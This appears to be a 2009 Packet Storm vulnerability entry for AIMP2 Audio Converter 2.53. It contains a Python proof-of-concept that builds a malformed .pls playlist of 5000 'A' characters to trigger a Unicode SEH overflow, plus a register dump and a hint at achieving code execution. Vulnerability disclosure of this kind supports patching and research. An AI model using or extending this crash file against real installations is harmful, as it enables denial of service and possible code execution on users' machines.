AIMP2 Audio Converter 2.53b330 Crash

2009-09-01T00:00:00
ID PACKETSTORM:80846
Type packetstorm
Reporter mr_me
Modified 2009-09-01T00:00:00

Description

                                        
                                            `#!/usr/bin/python  
#  
# ######################################################################  
#  
# AIMP2 Audio Converter <= 2.53 (build 330) (.pls/.m3u) Unicode local crash PoC  
# Found & exploited by: mr_me  
# Download: ftp://www.catode.ru/AIMP/aimp_2.51.330.zip  
# Tested on: Wind0ws XP SP3  
#   
# ######################################################################  
#  
# Unicode overflow, maybe someone with better skills can exploit this   
# you need to overwrite SEH handler with a CALL EAX 0x00XX00XX instruction.  
# Here is the crash breakdown:  
#   
# EAX 001B0020 UNICODE "AAAAAAAAAAAAAAAAAAAA~  
# ECX 00000273  
# EDX 00000C4C  
# EBX 00000000  
# ESP 0012DCA8  
# EBP 0012DD64  
# ESI 001B6610 UNICODE "AAAAAAAAAAAAAAAAAAAA~  
# EDI 00130000 ASCII "Actx "  
# EIP 004530C6 AIMP2.004530C6  
#  
# And then when we pass the exemption handler to overwrite EIP...  
#  
# EIP 00410041  
#  
  
header = ("[playlist]\nNumberOfEntries=3\n\n");  
header += ("File1=");  
crash = ("\x41" * 5000);  
  
buffer = header + crash  
file=open('mr_mes_funky.pls','w')  
file.write(buffer)  
file.close()  
print "[+] mr_mes_funky.pls file created successfully"  
  
  
`